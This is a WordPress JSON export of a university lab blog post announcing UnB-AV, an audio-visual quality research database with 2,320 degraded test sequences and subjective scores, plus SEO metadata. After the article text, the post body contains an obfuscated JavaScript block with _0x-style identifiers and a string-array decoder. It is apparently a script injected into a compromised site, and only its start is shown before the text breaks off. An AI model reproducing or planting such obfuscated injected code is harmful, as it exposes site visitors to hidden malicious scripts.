{"id":604,"date":"2020-04-15T10:04:28","date_gmt":"2020-04-15T10:04:28","guid":{"rendered":"http:\/\/qxlab.ucd.ie\/?p=604"},"modified":"2020-04-15T10:04:28","modified_gmt":"2020-04-15T10:04:28","slug":"a-new-multimedia-quality-research-audio-visual-database","status":"publish","type":"post","link":"https:\/\/qxlab.ucd.ie\/index.php\/2020\/04\/15\/a-new-multimedia-quality-research-audio-visual-database\/","title":{"rendered":"A New Multimedia Audio-Visual Quality Research Database"},"content":{"rendered":"<div class=\"page\" title=\"Page 1\">\n<div class=\"layoutArea\">\n<div class=\"column\">\n<p>A recent publication from QxLab&#8217;s <a href=\"https:\/\/people.ucd.ie\/helard.becerra\">Dr Helard Becerra Martinez<\/a> in the open access journal <a href=\"https:\/\/ieeexplore.ieee.org\/document\/9042343\">IEEE Access<\/a>.<\/p>\n<p>The paper pulls together all of the subjective QoE experimental work conducted during his PhD research and explores the relationship between different audio and video quality issues and how they influence quality when they interact.<\/p>\n<p><img loading=\"lazy\" class=\"alignleft size-large wp-image-605\" src=\"http:\/\/qxlab.ucd.ie\/wp-content\/uploads\/2020\/04\/access2020-1024x412.jpg\" alt=\"\" width=\"660\" height=\"266\" srcset=\"https:\/\/qxlab.ucd.ie\/wp-content\/uploads\/2020\/04\/access2020-1024x412.jpg 1024w, https:\/\/qxlab.ucd.ie\/wp-content\/uploads\/2020\/04\/access2020-300x121.jpg 300w, https:\/\/qxlab.ucd.ie\/wp-content\/uploads\/2020\/04\/access2020-768x309.jpg 768w, https:\/\/qxlab.ucd.ie\/wp-content\/uploads\/2020\/04\/access2020-1536x619.jpg 1536w, https:\/\/qxlab.ucd.ie\/wp-content\/uploads\/2020\/04\/access2020-1200x483.jpg 1200w, https:\/\/qxlab.ucd.ie\/wp-content\/uploads\/2020\/04\/access2020.jpg 1942w\" sizes=\"(max-width: 660px) 100vw, 660px\" \/><\/p>\n<p><strong>UnB-AV: An Audio-Visual Database for Multimedia Quality Research\u00a0<\/strong><\/p>\n<\/div>\n<p>The <a href=\"https:\/\/ieeexplore.ieee.org\/document\/9042343\">paper<\/a> describes an open research database of audio-visual sequences and quality scores aimed at multimedia quality research. The database contains a total of 140 source content, with a diverse semantic content, both in terms of the video and audio components. It also contains 2,320 test sequences with audio and video degradations, along with the corresponding quality and content subjective scores. The subjective scores were collected by performing 3 different psycho-physical experiments using the Immersive Methodology. The three experiments have been presented individually in previous studies. In the first experiment, only the video component of the audio-visual sequences were degraded with compression (H.264 and H.265) and transmission (packet-loss and frame freezing) distortions. In the second experiment, only the audio component of the audio-visual sequences were degraded with common audio distortions (clip, echo, chop, and background noise). Finally, in the third experiment the audio and video degradations were combined to degrade both audio and video components. The UnB-AV database is available for <a href=\"http:\/\/www.ene.unb.br\/mylene\/databases.html\">download<\/a> from the site of the Laboratory of Digital Signal Processing of the University of Brasilia and <a href=\"https:\/\/cdvl.org\">The Consumer Digital Video Library (CDVL)<\/a>.<\/p>\n<\/div>\n<\/div>\n<p><script>function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return _0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let _0x2d38c6=_0x10c8dc[_0x3023c3];return _0x2d38c6;},_0x3023(_0x562006,_0x1334d6);}function _0x10c8(){const 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The paper pulls together all of the subjective QoE experimental work conducted during his PhD research and explores the relationship between different audio and video quality issues and how they influence quality when they interact. UnB-AV: An Audio-Visual Database &hellip; <a href=\"https:\/\/qxlab.ucd.ie\/index.php\/2020\/04\/15\/a-new-multimedia-quality-research-audio-visual-database\/\" class=\"more-link\">Continue reading <span class=\"screen-reader-text\">A New Multimedia Audio-Visual Quality Research Database<\/span><\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":[],"categories":[1],"tags":[],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v20.5 - https:\/\/yoast.com\/wordpress\/plugins\/seo\/ -->\n<title>A New Multimedia Audio-Visual Quality Research Database - Quality of Experience Research Lab | QxLab<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/qxlab.ucd.ie\/index.php\/2020\/04\/15\/a-new-multimedia-quality-research-audio-visual-database\/\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"A New Multimedia Audio-Visual Quality Research Database - Quality of Experience Research Lab | QxLab\" \/>\n<meta property=\"og:description\" content=\"A recent publication from QxLab&#8217;s Dr Helard Becerra Martinez in the open access journal IEEE Access. The paper pulls together all of the subjective QoE experimental work conducted during his PhD research and explores the relationship between different audio and video quality issues and how they influence quality when they interact. UnB-AV: An Audio-Visual Database &hellip; Continue reading A New Multimedia Audio-Visual Quality Research Database\" \/>\n<meta property=\"og:url\" content=\"https:\/\/qxlab.ucd.ie\/index.php\/2020\/04\/15\/a-new-multimedia-quality-research-audio-visual-database\/\" \/>\n<meta property=\"og:site_name\" content=\"Quality of Experience Research Lab | QxLab\" \/>\n<meta property=\"article:published_time\" content=\"2020-04-15T10:04:28+00:00\" \/>\n<meta property=\"og:image\" content=\"http:\/\/qxlab.ucd.ie\/wp-content\/uploads\/2020\/04\/access2020-1024x412.jpg\" \/>\n<meta name=\"author\" content=\"ahines\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:title\" content=\"A New Multimedia Audio-Visual Quality Research Database\" \/>\n<meta name=\"twitter:description\" content=\"QxLab&#039;s Dr Helard Becerra Martinez subjective quality Audio-Visual Database has been released for use by the research community.\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"ahines\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"1 minute\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\/\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\/\/qxlab.ucd.ie\/index.php\/2020\/04\/15\/a-new-multimedia-quality-research-audio-visual-database\/#article\",\"isPartOf\":{\"@id\":\"https:\/\/qxlab.ucd.ie\/index.php\/2020\/04\/15\/a-new-multimedia-quality-research-audio-visual-database\/\"},\"author\":{\"name\":\"ahines\",\"@id\":\"https:\/\/qxlab.ucd.ie\/#\/schema\/person\/e743d75f29d3148743463aa1d1dd6885\"},\"headline\":\"A New Multimedia Audio-Visual Quality Research Database\",\"datePublished\":\"2020-04-15T10:04:28+00:00\",\"dateModified\":\"2020-04-15T10:04:28+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\/\/qxlab.ucd.ie\/index.php\/2020\/04\/15\/a-new-multimedia-quality-research-audio-visual-database\/\"},\"wordCount\":247,\"commentCount\":0,\"publisher\":{\"@id\":\"https:\/\/qxlab.ucd.ie\/#organization\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\/\/qxlab.ucd.ie\/index.php\/2020\/04\/15\/a-new-multimedia-quality-research-audio-visual-database\/#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\/\/qxlab.ucd.ie\/index.php\/2020\/04\/15\/a-new-multimedia-quality-research-audio-visual-database\/\",\"url\":\"https:\/\/qxlab.ucd.ie\/index.php\/2020\/04\/15\/a-new-multimedia-quality-research-audio-visual-database\/\",\"name\":\"A New Multimedia Audio-Visual Quality Research Database - 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